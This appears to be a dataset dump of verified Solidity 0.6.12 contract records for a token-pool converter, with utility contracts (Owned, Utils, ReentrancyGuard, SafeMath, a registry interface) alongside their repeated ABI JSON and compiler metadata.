} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20Token","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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IERC20Token","name":"_reserveToken","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newSupply","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_provider","type":"address"},{"indexed":true,"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newSupply","type":"uint256"}],"name":"LiquidityRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"_newOwner","type":"address"}],"name":"OwnerUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20Token","name":"_token1","type":"address"},{"indexed":true,"internalType":"contract IERC20Token","name":"_token2","type":"address"},{"indexed":false,"internalType":"uint256","name":"_rateN","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_rateD","type":"uint256"}],"name":"TokenRateUpdate","type":"event"},{"inputs":[],"name":"acceptAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_reserve1Amount","type":"uint256"},{"internalType":"uint256","name":"_reserve2Amount","type":"uint256"},{"internalType":"uint256","name":"_minReturn","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveAmounts","type":"uint256[]"},{"internalType":"uint256","name":"_minReturn","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256","name":"_reserveTokenIndex","type":"uint256"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityCost","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_token","type":"address"},{"internalType":"uint32","name":"_weight","type":"uint32"}],"name":"addReserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"anchor","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"averageRateInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"connectorTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"connectorTokens","outputs":[{"internalType":"contract IERC20Token","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_address","type":"address"}],"name":"connectors","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint32","name":"","type":"uint32"},{"internalType":"bool","name":"","type":"bool"},{"internalType":"bool","name":"","type":"bool"},{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"conversionFee","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20Token","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_trader","type":"address"},{"internalType":"address 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IERC20Token","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"targetAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address 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StandardPoolConverter | solidity/contracts/utility/Owned.sol | 0xda1117e28f79606637b88fd976150907d7af1aaf | Solidity | pragma solidity 0.6.12;
/**
* @dev This contract provides support and utilities for contract ownership.
*/
contract Owned is IOwned {
address public override owner;
address public newOwner;
/**
* @dev triggered when the owner is updated
*
* @param _prevOwner previous owner
* @param _newOwner new owner
*/
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
* @dev initializes a new Owned instance
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
_ownerOnly();
_;
}
// error message binary size optimization
function _ownerOnly() internal view {
require(msg.sender == owner, "ERR_ACCESS_DENIED");
}
/**
* @dev allows transferring the contract ownership
* the new owner still needs to accept the transfer
* can only be called by the contract owner
*
* @param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public override ownerOnly {
require(_newOwner != owner, "ERR_SAME_OWNER");
newOwner = _newOwner;
}
/**
* @dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public override {
require(msg.sender == newOwner, "ERR_ACCESS_DENIED");
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20Token","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"averageRateInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"connectorTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"connectorTokens","outputs":[{"internalType":"contract IERC20Token","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract 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StandardPoolConverter | solidity/contracts/utility/Utils.sol | 0xda1117e28f79606637b88fd976150907d7af1aaf | Solidity | pragma solidity 0.6.12;
/**
* @dev Utilities & Common Modifiers
*/
contract Utils {
// verifies that a value is greater than zero
modifier greaterThanZero(uint256 _value) {
_greaterThanZero(_value);
_;
}
// error message binary size optimization
function _greaterThanZero(uint256 _value) internal pure {
require(_value > 0, "ERR_ZERO_VALUE");
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
_validAddress(_address);
_;
}
// error message binary size optimization
function _validAddress(address _address) internal pure {
require(_address != address(0), "ERR_INVALID_ADDRESS");
}
// verifies that the address is different than this contract address
modifier notThis(address _address) {
_notThis(_address);
_;
}
// error message binary size optimization
function _notThis(address _address) internal view {
require(_address != address(this), "ERR_ADDRESS_IS_SELF");
}
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20Token","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"averageRateInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"connectorTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"connectorTokens","outputs":[{"internalType":"contract IERC20Token","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract 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StandardPoolConverter | solidity/contracts/utility/interfaces/IContractRegistry.sol | 0xda1117e28f79606637b88fd976150907d7af1aaf | Solidity | pragma solidity 0.6.12;
/*
Contract Registry interface
*/
interface IContractRegistry {
function addressOf(bytes32 _contractName) external view returns (address);
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20Token","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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IERC20Token","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"getReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isV28OrHigher","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxConversionFee","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"onlyOwnerCanUpdateRegistry","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prevRegistry","outputs":[{"internalType":"contract IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_token","type":"address"}],"name":"recentAverageRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"registry","outputs":[{"internalType":"contract IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_reserve1MinReturn","type":"uint256"},{"internalType":"uint256","name":"_reserve2MinReturn","type":"uint256"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveMinReturnAmounts","type":"uint256[]"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"}],"name":"removeLiquidityReturn","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"}],"name":"reserveBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveBalances","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokens","outputs":[{"internalType":"contract IERC20Token[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"}],"name":"reserveWeight","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"restoreRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_onlyOwnerCanUpdateRegistry","type":"bool"}],"name":"restrictRegistryUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_conversionFee","type":"uint32"}],"name":"setConversionFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20Token","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"targetAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address 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StandardPoolConverter | solidity/contracts/utility/ReentrancyGuard.sol | 0xda1117e28f79606637b88fd976150907d7af1aaf | Solidity | pragma solidity 0.6.12;
/**
* @dev This contract provides protection against calling a function
* (directly or indirectly) from within itself.
*/
contract ReentrancyGuard {
uint256 private constant UNLOCKED = 1;
uint256 private constant LOCKED = 2;
// LOCKED while protected code is being executed, UNLOCKED otherwise
uint256 private state = UNLOCKED;
/**
* @dev ensures instantiation only by sub-contracts
*/
constructor() internal {}
// protects a function against reentrancy attacks
modifier protected() {
_protected();
state = LOCKED;
_;
state = UNLOCKED;
}
// error message binary size optimization
function _protected() internal view {
require(state == UNLOCKED, "ERR_REENTRANCY");
}
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20Token","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveAmounts","type":"uint256[]"},{"internalType":"uint256","name":"_minReturn","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256","name":"_reserveTokenIndex","type":"uint256"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityCost","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_token","type":"address"},{"internalType":"uint32","name":"_weight","type":"uint32"}],"name":"addReserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"anchor","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"averageRateInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"connectorTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"connectorTokens","outputs":[{"internalType":"contract IERC20Token","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_address","type":"address"}],"name":"connectors","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint32","name":"","type":"uint32"},{"internalType":"bool","name":"","type":"bool"},{"internalType":"bool","name":"","type":"bool"},{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"conversionFee","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20Token","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_trader","type":"address"},{"internalType":"address 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IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_token","type":"address"}],"name":"recentAverageRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"registry","outputs":[{"internalType":"contract IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_reserve1MinReturn","type":"uint256"},{"internalType":"uint256","name":"_reserve2MinReturn","type":"uint256"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveMinReturnAmounts","type":"uint256[]"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"}],"name":"removeLiquidityReturn","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"}],"name":"reserveBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveBalances","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokens","outputs":[{"internalType":"contract IERC20Token[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"}],"name":"reserveWeight","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"restoreRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_onlyOwnerCanUpdateRegistry","type":"bool"}],"name":"restrictRegistryUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_conversionFee","type":"uint32"}],"name":"setConversionFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20Token","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"targetAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"_to","type":"address"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000dbd62d3c1405d28c57f51c823d9d14f3f4a54e2000000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd400000000000000000000000000000000000000000000000000000000000003e8 | Default | false | ||||
StandardPoolConverter | solidity/contracts/utility/SafeMath.sol | 0xda1117e28f79606637b88fd976150907d7af1aaf | Solidity | pragma solidity 0.6.12;
/**
* @dev This library supports basic math operations with overflow/underflow protection.
*/
library SafeMath {
/**
* @dev returns the sum of _x and _y, reverts if the calculation overflows
*
* @param _x value 1
* @param _y value 2
*
* @return sum
*/
function add(uint256 _x, uint256 _y) internal pure returns (uint256) {
uint256 z = _x + _y;
require(z >= _x, "ERR_OVERFLOW");
return z;
}
/**
* @dev returns the difference of _x minus _y, reverts if the calculation underflows
*
* @param _x minuend
* @param _y subtrahend
*
* @return difference
*/
function sub(uint256 _x, uint256 _y) internal pure returns (uint256) {
require(_x >= _y, "ERR_UNDERFLOW");
return _x - _y;
}
/**
* @dev returns the product of multiplying _x by _y, reverts if the calculation overflows
*
* @param _x factor 1
* @param _y factor 2
*
* @return product
*/
function mul(uint256 _x, uint256 _y) internal pure returns (uint256) {
// gas optimization
if (_x == 0) return 0;
uint256 z = _x * _y;
require(z / _x == _y, "ERR_OVERFLOW");
return z;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*
* @param _x dividend
* @param _y divisor
*
* @return quotient
*/
function div(uint256 _x, uint256 _y) internal pure returns (uint256) {
require(_y > 0, "ERR_DIVIDE_BY_ZERO");
uint256 c = _x / _y;
return c;
}
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20Token","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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IERC20Token","name":"_token2","type":"address"},{"indexed":false,"internalType":"uint256","name":"_rateN","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_rateD","type":"uint256"}],"name":"TokenRateUpdate","type":"event"},{"inputs":[],"name":"acceptAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_reserve1Amount","type":"uint256"},{"internalType":"uint256","name":"_reserve2Amount","type":"uint256"},{"internalType":"uint256","name":"_minReturn","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveAmounts","type":"uint256[]"},{"internalType":"uint256","name":"_minReturn","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"contract IERC20Token[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256","name":"_reserveTokenIndex","type":"uint256"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityCost","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_reserveToken","type":"address"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20Token","name":"_token","type":"address"},{"internalType":"uint32","name":"_weight","type":"uint32"}],"name":"addReserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"anchor","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"averageRateInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"connectorTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"connectorTokens","outputs":[{"internalType":"contract IERC20Token","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract 